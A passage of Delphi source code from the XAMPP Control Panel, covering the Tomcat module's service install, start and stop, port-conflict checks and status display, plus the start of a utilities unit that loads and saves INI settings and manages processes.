installed'); AddLog(Format(_('Checking for service (name="%s"): %s'), [RemoveWhiteSpace(Config.ServiceNames.Tomcat), s]), ltDebug); if (path<>'') then begin if (Pos(LowerCase(basedir + 'tomcat\bin\' + Config.BinaryNames.Tomcat), LowerCase(path))<>0) then AddLog(Format(_('Service Path: %s'), [path]), ltDebug) else begin pStatus.Color := cErrorColor; AddLog(Format(_('%s Service detected with wrong path'),[cModuleName]), ltError); AddLog(Format(_('Change XAMPP %s and Control Panel settings or'),[cModuleName]), ltError); AddLog(_('Uninstall/disable the other service manually first'), ltError); AddLog(Format(_('Found Path: %s'), [Path]), ltError); AddLog(Format(_('Expected Path: %stomcat\bin\%s //RS//%s'), [basedir, Config.BinaryNames.Tomcat, Config.ServiceNames.Tomcat]), ltError); end end else AddLog(_('Service Path: Service Not Installed'), ltDebug); end; constructor tTomcat.Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); var ServerApp: string; ReqTools: array [0 .. 2] of string; begin inherited; ModuleName := cModuleName; GlobalStatus := 'running'; AddLog(_('Initializing module...'), ltDebug); ServerApp := basedir + 'tomcat\bin\' + Config.BinaryNames.Tomcat; ReqTools[0] := basedir + 'catalina_start.bat'; ReqTools[1] := basedir + 'catalina_stop.bat'; ReqTools[2] := basedir + 'catalina_service.bat'; AddLog(_('Checking for module existence...'), ltDebug); if (not FileExists(ServerApp)) then begin pStatus.Color := cErrorColor; AddLog(Format(_('Problem detected: %s Not Found!'),[cModuleName]), ltError); AddLog(Format(_('Disabling %s buttons'),[cModuleName]), ltError); AddLog(_('Run this program from your XAMPP root directory!'), ltError); bAdmin.Enabled := False; bbService.Enabled := False; bStartStop.Enabled := False; end; if not Config.EnableServices.Tomcat then begin AddLog(Format(_('%s Service is disabled.'),[cModuleName]), ltDebug); fmain.bTomcatService.Enabled := false; end; AddLog(_('Checking for required tools...'), ltDebug); if not FileExists(ReqTools[0]) then begin pStatus.Color := cErrorColor; AddLog(_('Problem detected: Required Tool catalina_start.bat Not Found!'), ltError); end; if not FileExists(ReqTools[1]) then begin pStatus.Color := cErrorColor; AddLog(_('Problem detected: Required Tool catalina_stop.bat Not Found!'), ltError); end; if not FileExists(ReqTools[2]) then begin pStatus.Color := cErrorColor; AddLog(_('Problem detected: Required Tool catalina_service.bat Not Found!'), ltError); end; CheckIsService; CheckPorts; end; destructor tTomcat.Destroy; begin inherited; end; procedure tTomcat.CheckPorts; var PortBlocker: string; PortBlockerPID: integer; path: string; p: integer; ServerApp: string; pbpath: string; pbspath: string; Ports: array [0 .. 2] of integer; begin ServerApp := basedir + 'tomcat\bin\' + Config.BinaryNames.Tomcat; Ports[0] := Config.ServicePorts.Tomcat; Ports[1] := Config.ServicePorts.TomcatHTTP; Ports[2] := Config.ServicePorts.TomcatAJP; path:=GetServicePath(RemoveWhiteSpace(Config.ServiceNames.Tomcat)); if Config.EnableChecks.CheckDefaultPorts then begin AddLog(_('Checking default ports...'), ltDebug); for p := Low(Ports) to High(Ports) do begin PortBlockerPID := NetStatTable.isPortInUsePID(Ports[p]); if (PortBlockerPID > 0) then begin PortBlocker := Processes.GetProcessName(PortBlockerPID); AddLog(Format(_('Portblocker Detected: %s'), [PortBlocker]), ltDebug); AddLog(Format(_('Checking for App: %s'), [ServerApp]), ltDebug); if isService then AddLog(Format(_('Checking for Service: %s'), [path]), ltDebug); //if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then pbpath := Processes.GetProcessPath(PortBlockerPID); pbspath := GetServiceWithPid(PortBlockerPID); AddLog(Format(_('Portblocker Path: %s'), [pbpath]), ltDebug); AddLog(Format(_('Portblocker Service Path: %s'), [pbspath]), ltDebug); if (pos(LowerCase('java.exe'), LowerCase(PortBlocker))<>0) or (pos(LowerCase('javaw.exe'), LowerCase(PortBlocker))<>0) then begin AddLog(Format(_('Java is already running on port %d!'), [Ports[p]]), ltInfo); AddLog(Format(_('Is %s already running?'),[cModuleName]), ltInfo); end else if (Pos(LowerCase(ServerApp), LowerCase(pbpath)) <> 0) then begin AddLog(Format(_('XAMPP %s is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); end //else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then else if (Pos(LowerCase(pbspath), LowerCase(path)) <> 0) and (isService = True) and (Pos(LowerCase(ServerApp), LowerCase(pbspath)) <> 0) then begin AddLog(Format(_('XAMPP %s Service is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); //AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); end else begin pStatus.Color := cErrorColor; if (pbspath <> '') then PortBlocker := pbspath else PortBlocker := pbpath; AddLog(_('Problem detected!'), ltError); AddLog(Format(_('Port %d in use by "%s"!'), [Ports[p], PortBlocker]), ltError); AddLog(Format(_('%s WILL NOT start without the configured ports free!'),[cModuleName]), ltError); AddLog(_('You need to uninstall/disable/reconfigure the blocking application'), ltError); AddLog(Format(_('or reconfigure %s and the Control Panel to listen on a different port'),[cModuleName]), ltError); end; end; end; end; end; procedure tTomcat.ServiceInstall; var App, Param: string; RC: integer; begin Param := '/c "' + basedir + 'catalina_service.bat" install ' + Config.ServiceNames.Tomcat; if FileExists('c:\Windows\sysnative\cmd.exe') then App := 'c:\Windows\sysnative\cmd.exe' else App := 'cmd'; AddLog(_('Installing service...')); AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); //RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); RC:=RunAsAdmin(App, Param, SW_HIDE); AddLog(Format(_('Return code: %d'), [RC]), ltDebug); if(RC<>0) then begin AddLog(Format(_('%s Service Install stopped with errors, return code: %d'), [cModuleName, RC]), ltError); AddLog(_('Make sure you have Java JDK or JRE installed and the required ports are free'), ltError); AddLog(_('Check the "/xampp/tomcat/logs" folder for more information'), ltError); end; end; procedure tTomcat.ServiceUnInstall; var App, Param: string; RC: integer; begin Param := '/c "' + basedir + 'catalina_service.bat" remove ' + Config.ServiceNames.Tomcat; if FileExists('c:\Windows\sysnative\cmd.exe') then App := 'c:\Windows\sysnative\cmd.exe' else App := 'cmd'; AddLog(_('Uninstalling service...')); AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); //RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); RC:=RunAsAdmin(App, Param, SW_HIDE); AddLog(Format(_('Return code: %d'), [RC]), ltDebug); if(RC<>0) then begin AddLog(Format(_('%s Service Uninstall stopped with errors, return code: %d'), [cModuleName, RC]), ltError); AddLog(_('Make sure you have Java JDK or JRE installed and the required ports are free'), ltError); AddLog(_('Check the "/xampp/tomcat/logs" folder for more information'), ltError); end; end; procedure tTomcat.Start; var App, Param: string; RC: integer; begin GlobalStatus := 'starting'; CheckPorts; if isService and Config.EnableServices.Tomcat then begin AddLog(Format(_('Attempting to start %s service...'), [cModuleName])); App := Format('start "%s"', [RemoveWhiteSpace(Config.ServiceNames.Tomcat)]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end else begin AddLog(Format(_('Attempting to start %s app...'), [cModuleName])); Param := '/c "' + basedir + 'catalina_start.bat"'; if FileExists('c:\Windows\sysnative\cmd.exe') then App := 'c:\Windows\sysnative\cmd.exe' // 64 bit? dann DIESE shell starten! else App := 'cmd'; AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); if Config.TomcatVisible then RC:=ShellExecute_AndWait('open', App, Param, '', SW_MINIMIZE, true) else RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); AddLog(Format(_('Return code: %d'), [RC]), ltDebug); if(RC<>0) then begin AddLog(Format(_('%s Started/Stopped with errors, return code: %d'), [cModuleName, RC]), ltError); AddLog(_('Make sure you have Java JDK or JRE installed and the required ports are free'), ltError); AddLog(_('Check the "/xampp/tomcat/logs" folder for more information'), ltError); end; end; end; procedure tTomcat.Stop; var App, Param: string; RC: Cardinal; begin GlobalStatus := 'stopping'; if isService and Config.EnableServices.Tomcat then begin AddLog(Format(_('Attempting to stop %s service...'), [cModuleName])); App := Format('stop "%s"', [RemoveWhiteSpace(Config.ServiceNames.Tomcat)]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end else begin AddLog(Format(_('Attempting to stop %s'), [cModuleName])); Param := '/c "' + basedir + 'catalina_stop.bat"'; if FileExists('c:\Windows\sysnative\cmd.exe') then App := 'c:\Windows\sysnative\cmd.exe' else App := 'cmd'; AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); ExecuteFile(App, Param, basedir, SW_HIDE); end; end; procedure tTomcat.UpdateStatus; var p: integer; //ProcInfo: TProcInfo; s: string; Ports: string; pname: string; currPID: integer; ErrorStatus: integer; begin isRunning := false; PIDList.Clear; ErrorStatus := 0; // Scan Process List // for p := 0 to Processes.ProcessList.Count - 1 do // begin // ProcInfo := Processes.ProcessList[p]; // if (pos('java.exe', ProcInfo.Module) = 1) or (pos(Config.BinaryNames.Tomcat, ProcInfo.Module) = 1) then // begin // if (pos(IntToStr(Config.ServicePorts.TomcatHTTP), NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) then // begin // isRunning := true; // PIDList.Add(Pointer(ProcInfo.PID)); // end; // end; // end; for p := 0 to Processes.ProcessList2.Count - 1 do begin pname := Processes.ProcessList2[p]; if (pos('java.exe', LowerCase(pname)) = 1) or (pos(LowerCase(Config.BinaryNames.Tomcat), LowerCase(pname)) = 1) then begin currPID := Integer(Processes.ProcessList2.Objects[p]); if (pos(IntToStr(Config.ServicePorts.TomcatHTTP), NetStatTable.GetPorts4PID(currPID)) <> 0) then begin isRunning := true; PIDList.Add(Pointer(currPID)); end; end; end; // Update GUI PID List s := ''; for p := 0 to PIDList.Count - 1 do begin if p = 0 then s := IntToStr(integer(PIDList[p])) else s := s + #13 + IntToStr(integer(PIDList[p])); end; if s <> OldPIDs then begin lPID.Caption := s; OldPIDs := s; end; // Update GUI Ports List s := ''; for p := 0 to PIDList.Count - 1 do begin Ports := NetStatTable.GetPorts4PID(integer(PIDList[p])); if Ports <> '' then s := RemoveDuplicatePorts(Ports); end; if s <> OldPorts then begin lPort.Caption := s; OldPorts := s; end; // Change Status if byte(isRunning) <> oldIsRunningByte then begin if oldIsRunningByte <> 2 then begin if isRunning then s := _('running') else begin s := _('stopped'); if GlobalStatus = 'starting' then ErrorStatus := 1; end; AddLog(_('Status change detected:') + ' ' + s); if ErrorStatus = 1 then begin pStatus.Color := cErrorColor; AddLog(Format(_('Error: %s shutdown unexpectedly.'),[cModuleName]), ltError); AddLog(_('This may be due to a blocked port, missing dependencies, '), ltError); AddLog(_('improper privileges, a crash, or a shutdown by another method.'), ltError); AddLog(_('Press the Logs button to view error logs and check'), ltError); AddLog(_('the Windows Event Viewer for more clues'), ltError); AddLog(_('If you need more help, copy and post this'), ltError); AddLog(_('entire log window on the forums'), ltError); end; end; oldIsRunningByte := byte(isRunning); if isRunning then begin pStatus.Color := cRunningColor; bStartStop.Caption := _('Stop'); bAdmin.Enabled := true; fMain.TomcatTray.ImageIndex := 15; fMain.TomcatTrayControl.Caption := _('Stop'); end else begin pStatus.Color := cStoppedColor; bStartStop.Caption := _('Start'); bAdmin.Enabled := false; fMain.TomcatTray.ImageIndex := 16; fMain.TomcatTrayControl.Caption := _('Start'); end; end; if AutoStart then begin AutoStart := false; if isRunning then begin AddLog(Format(_('Autostart aborted: %s is already running'),[cModuleName]), ltInfo); end else begin AddLog(_('Autostart active: starting...')); Start; end; end; end; end. xampp-control-panel/uTools.pas000066600000065154151723641500012461 0ustar00unit uTools; interface uses GnuGettext, Classes, Graphics, Windows, SysUtils, TlHelp32, ShellAPI, Forms, Dialogs, IniFiles, Character, JCLSecurity, StrUtils, JCLFileUtils; const cRunningColor = 200 * $10000 + 255 * $100 + 200; cPartialColor = Graphics.clYellow; cStoppedColor = clBtnFace; cErrorColor = Graphics.clRed; cCompileDate = 'Apr 6th 2021'; cr = #13#10; type tLogType = (ltDefault, ltInfo, ltError, ltDebug, ltDebugDetails); TWinVersion = record WinPlatForm: Byte; // VER_PLATFORM_WIN32_NT, VER_PLATFORM_WIN32_WINDOWS WinVersion: string; Major: Cardinal; Minor: Cardinal; end; tConfig = class Edition: string; EditorApp: string; BrowserApp: string; ShowDebug: boolean; DebugLevel: integer; Language: string; TomcatVisible: boolean; Minimized: boolean; ASApache: boolean; ASMySQL: boolean; ASFileZilla: boolean; ASMercury: boolean; ASTomcat: boolean; EnableChecks: record Runtimes: boolean; CheckDefaultPorts: boolean; end; ModuleNames: record Apache: string; MySQL: string; FileZilla: string; Mercury: string; Tomcat: string; end; EnableModules: record Apache: boolean; MySQL: boolean; FileZilla: boolean; Mercury: boolean; Tomcat: boolean; end; EnableServices: record Apache: boolean; MySQL: boolean; FileZilla: boolean; Tomcat: boolean; end; ServiceNames: record Apache: string; MySQL: string; FileZilla: string; Tomcat: string; end; BinaryNames: record Apache: string; MySQL: string; FileZilla: string; FileZillaAdmin: string; Mercury: string; Tomcat: string; end; LogSettings: record Font: string; FontSize: integer; end; WindowSettings: record Left: integer; Top: integer; Width: integer; Height: integer; end; ServicePorts: record Apache: integer; // 80 ApacheSSL: integer; // 443 MySQL: integer; // 3306 FileZilla: integer; // 21 FileZillaAdmin: integer; // 14147 Mercury1: integer; // 25 Mercury2: integer; // 79 Mercury3: integer; // 105 Mercury4: integer; // 106 Mercury5: integer; // 110 Mercury6: integer; // 143 Mercury7: integer; // 2224 Tomcat: integer; // 8005 TomcatHTTP: integer; // 8080 TomcatAJP: integer; // 8009 end; UserLogs: record Apache: tStringList; MySQL: tStringList; FileZilla: tStringList; Mercury: tStringList; Tomcat: tStringList; end; UserConfig: record Apache: tStringList; MySQL: tStringList; FileZilla: tStringList; Mercury: tStringList; Tomcat: tStringList; end; constructor Create; destructor Destroy; override; end; var WinVersion: TWinVersion; BaseDir: string; Config: tConfig; IniFileName: string; GlobalProgramversion: string; Closing: Boolean; appInfo: TJclFileVersionInfo; procedure LoadSettings; procedure SaveSettings; procedure GetSubDirectories(const directory : string; list : TStrings); function FindMatchText(Strings: TStrings; const SubStr: string): Integer; function GetWinDir: string; function IsWindowsAdmin: boolean; function RunProcess(FileName: string; ShowCmd: DWORD; wait: boolean; ProcID: PCardinal = nil): Longword; function ExecuteFile(FileName, Params, DefaultDir: string; ShowCmd: integer): THandle; function ShellExecute_AndWait(Operation, FileName, Parameter, Directory: string; Show: Word; bWait: Boolean): Longint; function RunAsAdmin(FileName, parameters: string; ShowCmd: integer): Cardinal; function Cardinal2IP(C: Cardinal): string; function GetSystemLangShort: string; function SystemErrorMessage(WinErrorCode: Cardinal): string; function TerminateProcessByID(ProcessID: Cardinal): Boolean; function RemoveWhiteSpace(const s: string): string; function RemoveDuplicatePorts(s: string): string; function CompareStrings(List: TStringList; Index1, Index2: Integer): Integer; implementation uses uMain; procedure LoadSettings; var mi: TMemIniFile; begin mi := nil; try mi := TMemIniFile.Create(IniFileName); Config.Edition := mi.ReadString('Common', 'Edition', ''); Config.EditorApp := mi.ReadString('Common', 'Editor', 'notepad.exe'); Config.BrowserApp := mi.ReadString('Common', 'Browser', ''); Config.ShowDebug := mi.ReadBool('Common', 'Debug', false); Config.DebugLevel := mi.ReadInteger('Common', 'Debuglevel', 0); Config.Language := mi.ReadString('Common', 'Language', ''); Config.TomcatVisible := mi.ReadBool('Common', 'TomcatVisible', true); Config.LogSettings.Font := mi.ReadString('LogSettings', 'Font', 'Arial'); Config.LogSettings.FontSize := mi.ReadInteger('LogSettings', 'FontSize', 10); Config.Minimized := mi.ReadBool('Common', 'Minimized', false); Config.WindowSettings.Left := mi.ReadInteger('WindowSettings', 'Left', -1); Config.WindowSettings.Top := mi.ReadInteger('WindowSettings', 'Top', -1); Config.WindowSettings.Width := mi.ReadInteger('WindowSettings', 'Width', -1); // 941 Config.WindowSettings.Height := mi.ReadInteger('WindowSettings', 'Height', -1); // 589 Config.ASApache := mi.ReadBool('Autostart', 'Apache', false); Config.ASMySQL := mi.ReadBool('Autostart', 'MySQL', false); Config.ASFileZilla := mi.ReadBool('Autostart', 'FileZilla', false); Config.ASMercury := mi.ReadBool('Autostart', 'Mercury', false); Config.ASTomcat := mi.ReadBool('Autostart', 'Tomcat', false); Config.EnableChecks.Runtimes := mi.ReadBool('Checks', 'CheckRuntimes', true); Config.EnableChecks.CheckDefaultPorts := mi.ReadBool('Checks', 'CheckDefaultPorts', true); Config.ModuleNames.Apache := mi.ReadString('ModuleNames', 'Apache', 'Apache'); Config.ModuleNames.MySQL := mi.ReadString('ModuleNames', 'MySQL', 'MySQL'); Config.ModuleNames.FileZilla := mi.ReadString('ModuleNames', 'FileZilla', 'FileZilla'); Config.ModuleNames.Mercury := mi.ReadString('ModuleNames', 'Mercury', 'Mercury'); Config.ModuleNames.Tomcat := mi.ReadString('ModuleNames', 'Tomcat', 'Tomcat'); Config.EnableModules.Apache := mi.ReadBool('EnableModules', 'Apache', true); Config.EnableModules.MySQL := mi.ReadBool('EnableModules', 'MySQL', true); Config.EnableModules.FileZilla := mi.ReadBool('EnableModules', 'FileZilla', true); Config.EnableModules.Mercury := mi.ReadBool('EnableModules', 'Mercury', true); Config.EnableModules.Tomcat := mi.ReadBool('EnableModules', 'Tomcat', true); Config.EnableServices.Apache := mi.ReadBool('EnableServices', 'Apache', true); Config.EnableServices.MySQL := mi.ReadBool('EnableServices', 'MySQL', true); Config.EnableServices.FileZilla := mi.ReadBool('EnableServices', 'FileZilla', true); Config.EnableServices.Tomcat := mi.ReadBool('EnableServices', 'Tomcat', true); Config.BinaryNames.Apache := mi.ReadString('BinaryNames', 'Apache', 'httpd.exe'); Config.BinaryNames.MySQL := mi.ReadString('BinaryNames', 'MySQL', 'mysqld.exe'); Config.BinaryNames.FileZilla := mi.ReadString('BinaryNames', 'FileZilla', 'filezillaserver.exe'); Config.BinaryNames.FileZillaAdmin := mi.ReadString('BinaryNames', 'FileZillaAdmin', 'filezilla server interface.exe'); Config.BinaryNames.Mercury := mi.ReadString('BinaryNames', 'Mercury', 'mercury.exe'); Config.BinaryNames.Tomcat := mi.ReadString('BinaryNames', 'Tomcat', 'tomcat8.exe'); Config.ServiceNames.Apache := mi.ReadString('ServiceNames', 'Apache', 'Apache2.4'); Config.ServiceNames.MySQL := mi.ReadString('ServiceNames', 'MySQL', 'mysql'); Config.ServiceNames.FileZilla := mi.ReadString('ServiceNames', 'FileZilla', 'FileZillaServer'); Config.ServiceNames.Tomcat := mi.ReadString('ServiceNames', 'Tomcat', 'Tomcat'); Config.ServicePorts.Apache := mi.ReadInteger('ServicePorts', 'Apache', 80); Config.ServicePorts.ApacheSSL := mi.ReadInteger('ServicePorts', 'ApacheSSL', 443); Config.ServicePorts.MySQL := mi.ReadInteger('ServicePorts', 'MySQL', 3306); Config.ServicePorts.FileZilla := mi.ReadInteger('ServicePorts', 'FileZilla', 21); Config.ServicePorts.FileZillaAdmin := mi.ReadInteger('ServicePorts', 'FileZillaAdmin', 14147); Config.ServicePorts.Mercury1 := mi.ReadInteger('ServicePorts', 'Mercury1', 25); Config.ServicePorts.Mercury2 := mi.ReadInteger('ServicePorts', 'Mercury2', 79); Config.ServicePorts.Mercury3 := mi.ReadInteger('ServicePorts', 'Mercury3', 105); Config.ServicePorts.Mercury4 := mi.ReadInteger('ServicePorts', 'Mercury4', 106); Config.ServicePorts.Mercury5 := mi.ReadInteger('ServicePorts', 'Mercury5', 110); Config.ServicePorts.Mercury6 := mi.ReadInteger('ServicePorts', 'Mercury6', 143); Config.ServicePorts.Mercury7 := mi.ReadInteger('ServicePorts', 'Mercury7', 2224); Config.ServicePorts.TomcatHTTP := mi.ReadInteger('ServicePorts', 'TomcatHTTP', 8080); Config.ServicePorts.TomcatAJP := mi.ReadInteger('ServicePorts', 'TomcatAJP', 8009); Config.ServicePorts.Tomcat := mi.ReadInteger('ServicePorts', 'Tomcat', 8005); Config.UserConfig.Apache.DelimitedText := mi.ReadString('UserConfigs', 'Apache', ''); Config.UserConfig.MySQL.DelimitedText := mi.ReadString('UserConfigs', 'MySQL', ''); Config.UserConfig.FileZilla.DelimitedText := mi.ReadString('UserConfigs', 'FileZilla', ''); Config.UserConfig.Mercury.DelimitedText := mi.ReadString('UserConfigs', 'Mercury', ''); Config.UserConfig.Tomcat.DelimitedText := mi.ReadString('UserConfigs', 'Tomcat', ''); Config.UserLogs.Apache.DelimitedText := mi.ReadString('UserLogs', 'Apache', ''); Config.UserLogs.MySQL.DelimitedText := mi.ReadString('UserLogs', 'MySQL', ''); Config.UserLogs.FileZilla.DelimitedText := mi.ReadString('UserLogs', 'FileZilla', ''); Config.UserLogs.Mercury.DelimitedText := mi.ReadString('UserLogs', 'Mercury', ''); Config.UserLogs.Tomcat.DelimitedText := mi.ReadString('UserLogs', 'Tomcat', ''); except on e: exception do begin MessageDlg(_('Error') + ': ' + e.Message, mtError, [mbOK], 0); end; end; mi.Free; end; procedure SaveSettings; var mi: TMemIniFile; begin mi := nil; try mi := TMemIniFile.Create(IniFileName); mi.WriteString('Common', 'Edition', Config.Edition); mi.WriteString('Common', 'Editor', Config.EditorApp); mi.WriteString('Common', 'Browser', Config.BrowserApp); mi.WriteBool('Common', 'Debug', Config.ShowDebug); mi.WriteInteger('Common', 'Debuglevel', Config.DebugLevel); mi.WriteString('Common', 'Language', Config.Language); mi.WriteBool('Common', 'TomcatVisible', Config.TomcatVisible); mi.WriteBool('Common', 'Minimized', Config.Minimized); mi.WriteString('LogSettings', 'Font', Config.LogSettings.Font); mi.WriteInteger('LogSettings', 'FontSize', Config.LogSettings.FontSize); mi.WriteInteger('WindowSettings', 'Left', Config.WindowSettings.Left); mi.WriteInteger('WindowSettings', 'Top', Config.WindowSettings.Top); mi.WriteInteger('WindowSettings', 'Width', Config.WindowSettings.Width); mi.WriteInteger('WindowSettings', 'Height', Config.WindowSettings.Height); mi.WriteBool('Autostart', 'Apache', Config.ASApache); mi.WriteBool('Autostart', 'MySQL', Config.ASMySQL); mi.WriteBool('Autostart', 'FileZilla', Config.ASFileZilla); mi.WriteBool('Autostart', 'Mercury', Config.ASMercury); mi.WriteBool('Autostart', 'Tomcat', Config.ASTomcat); mi.WriteBool('Checks', 'CheckRuntimes', Config.EnableChecks.Runtimes); mi.WriteBool('Checks', 'CheckDefaultPorts', Config.EnableChecks.CheckDefaultPorts); mi.WriteString('ModuleNames', 'Apache', Config.ModuleNames.Apache); mi.WriteString('ModuleNames', 'MySQL', Config.ModuleNames.MySQL); mi.WriteString('ModuleNames', 'FileZilla', Config.ModuleNames.FileZilla); mi.WriteString('ModuleNames', 'Mercury', Config.ModuleNames.Mercury); mi.WriteString('ModuleNames', 'Tomcat', Config.ModuleNames.Tomcat); mi.WriteBool('EnableModules', 'Apache', Config.EnableModules.Apache); mi.WriteBool('EnableModules', 'MySQL', Config.EnableModules.MySQL); mi.WriteBool('EnableModules', 'FileZilla', Config.EnableModules.FileZilla); mi.WriteBool('EnableModules', 'Mercury', Config.EnableModules.Mercury); mi.WriteBool('EnableModules', 'Tomcat', Config.EnableModules.Tomcat); mi.WriteBool('EnableServices', 'Apache', Config.EnableServices.Apache); mi.WriteBool('EnableServices', 'MySQL', Config.EnableServices.MySQL); mi.WriteBool('EnableServices', 'FileZilla', Config.EnableServices.FileZilla); mi.WriteBool('EnableServices', 'Tomcat', Config.EnableServices.Tomcat); mi.WriteString('BinaryNames', 'Apache', Config.BinaryNames.Apache); mi.WriteString('BinaryNames', 'MySQL', Config.BinaryNames.MySQL); mi.WriteString('BinaryNames', 'FileZilla', Config.BinaryNames.FileZilla); mi.WriteString('BinaryNames', 'FileZillaAdmin', Config.BinaryNames.FileZillaAdmin); mi.WriteString('BinaryNames', 'Mercury', Config.BinaryNames.Mercury); mi.WriteString('BinaryNames', 'Tomcat', Config.BinaryNames.Tomcat); mi.WriteString('ServiceNames', 'Apache', Config.ServiceNames.Apache); mi.WriteString('ServiceNames', 'MySQL', Config.ServiceNames.MySQL); mi.WriteString('ServiceNames', 'FileZilla', Config.ServiceNames.FileZilla); mi.WriteString('ServiceNames', 'Tomcat', Config.ServiceNames.Tomcat); mi.WriteInteger('ServicePorts', 'Apache', Config.ServicePorts.Apache); mi.WriteInteger('ServicePorts', 'ApacheSSL', Config.ServicePorts.ApacheSSL); mi.WriteInteger('ServicePorts', 'MySQL', Config.ServicePorts.MySQL); mi.WriteInteger('ServicePorts', 'FileZilla', Config.ServicePorts.FileZilla); mi.WriteInteger('ServicePorts', 'FileZillaAdmin', Config.ServicePorts.FileZillaAdmin); mi.WriteInteger('ServicePorts', 'Mercury1', Config.ServicePorts.Mercury1); mi.WriteInteger('ServicePorts', 'Mercury2', Config.ServicePorts.Mercury2); mi.WriteInteger('ServicePorts', 'Mercury3', Config.ServicePorts.Mercury3); mi.WriteInteger('ServicePorts', 'Mercury4', Config.ServicePorts.Mercury4); mi.WriteInteger('ServicePorts', 'Mercury5', Config.ServicePorts.Mercury5); mi.WriteInteger('ServicePorts', 'Mercury6', Config.ServicePorts.Mercury6); mi.WriteInteger('ServicePorts', 'Mercury7', Config.ServicePorts.Mercury7); mi.WriteInteger('ServicePorts', 'TomcatHTTP', Config.ServicePorts.TomcatHTTP); mi.WriteInteger('ServicePorts', 'TomcatAJP', Config.ServicePorts.TomcatAJP); mi.WriteInteger('ServicePorts', 'Tomcat', Config.ServicePorts.Tomcat); mi.WriteString('UserConfigs', 'Apache', Config.UserConfig.Apache.DelimitedText); mi.WriteString('UserConfigs', 'MySQL', Config.UserConfig.MySQL.DelimitedText); mi.WriteString('UserConfigs', 'FileZilla', Config.UserConfig.FileZilla.DelimitedText); mi.WriteString('UserConfigs', 'Mercury', Config.UserConfig.Mercury.DelimitedText); mi.WriteString('UserConfigs', 'Tomcat', Config.UserConfig.Tomcat.DelimitedText); mi.WriteString('UserLogs', 'Apache', Config.UserLogs.Apache.DelimitedText); mi.WriteString('UserLogs', 'MySQL', Config.UserLogs.MySQL.DelimitedText); mi.WriteString('UserLogs', 'FileZilla', Config.UserLogs.FileZilla.DelimitedText); mi.WriteString('UserLogs', 'Mercury', Config.UserLogs.Mercury.DelimitedText); mi.WriteString('UserLogs', 'Tomcat', Config.UserLogs.Tomcat.DelimitedText); mi.UpdateFile; except on e: exception do begin MessageDlg(_('Error') + ': ' + e.Message, mtError, [mbOK], 0); end; end; mi.Free; end; function TerminateProcessByID(ProcessID: Cardinal): Boolean; var hProcess : THandle; begin Result := False; hProcess := 0; try try hProcess := OpenProcess(PROCESS_TERMINATE,False,ProcessID); if hProcess > 0 then Result := Windows.TerminateProcess(hProcess,0); finally if hProcess <> 0 then CloseHandle(hProcess); end; except fMain.AddLog('Tools', Format('EXCEPTION: Problem terminating PID %d',[ProcessID]), ltError); end; end; function FindMatchText(Strings: TStrings; const SubStr: string): Integer; begin for Result := 0 to Strings.Count-1 do if ContainsText(Strings[Result], SubStr) then exit; Result := -1; end; function GetWinDir: string; var Buffer: array[0..MAX_PATH] of Char; begin try GetWindowsDirectory(Buffer, MAX_PATH - 1); SetLength(Result, StrLen(Buffer)); Result := Buffer; except fMain.AddLog('Tools', 'EXCEPTION: Problem getting Windows directory', ltError); Result := ''; end; end; procedure GetSubDirectories(const directory : string; list : TStrings); var sr : TSearchRec; begin try if FindFirst(IncludeTrailingPathDelimiter(directory) + '*.*', faDirectory, sr) < 0 then Exit else repeat if ((sr.Attr and faDirectory <> 0) AND (sr.Name <> '.') AND (sr.Name <> '..')) then List.Add(IncludeTrailingPathDelimiter(directory) + sr.Name) ; until FindNext(sr) <> 0; finally SysUtils.FindClose(sr) ; end; end; // Taken from: http://stackoverflow.com/questions/5078895/how-to-remove-space-tabs-or-any-whitespace-from-stringlist function RemoveWhiteSpace(const s: string): string; var i, j: integer; begin SetLength(Result, Length(s)); j := 0; for i := 1 to Length(s) do begin if not TCharacter.IsWhiteSpace(s[i]) then begin inc(j); Result[j] := s[i]; end; end; SetLength(Result, j); end; function RemoveDuplicatePorts(s: string): string; var StringList: TStringList; begin if (pos(',',s)<>0) then begin StringList := TStringList.Create(); StringList.Duplicates := dupIgnore; StringList.Delimiter := ','; StringList.Sorted := True; StringList.DelimitedText := s; StringList.Sorted := False; StringList.CustomSort(CompareStrings); Result := Trim(StringReplace(StringList.CommaText,',',', ',[rfReplaceAll])); StringList.Free(); end else Result := s; end; function CompareStrings(List: TStringList; Index1, Index2: Integer): Integer; var XInt1, XInt2: integer; begin try XInt1 := strToInt(List[Index1]); XInt2 := strToInt(List[Index2]); except XInt1 := 0; XInt2 := 0; end; if XInt1 > XInt2 then Result := 1 else if XInt1 < XInt2 then Result := -1 else Result := 0; end; function IsWindowsAdmin: boolean; begin Result := IsAdministrator() end; function SystemErrorMessage(WinErrorCode: Cardinal): string; var P: PChar; begin if FormatMessage(Format_Message_Allocate_Buffer + Format_Message_From_System, nil, WinErrorCode, 0, @P, 0, nil) <> 0 then begin Result := trim(P); LocalFree(integer(P)); end else begin Result := ''; end; end; function RunProcess(FileName: string; ShowCmd: DWORD; wait: boolean; ProcID: PCardinal = nil): Longword; var StartupInfo: TStartupInfo; ProcessInfo: TProcessInformation; begin Result := 0; 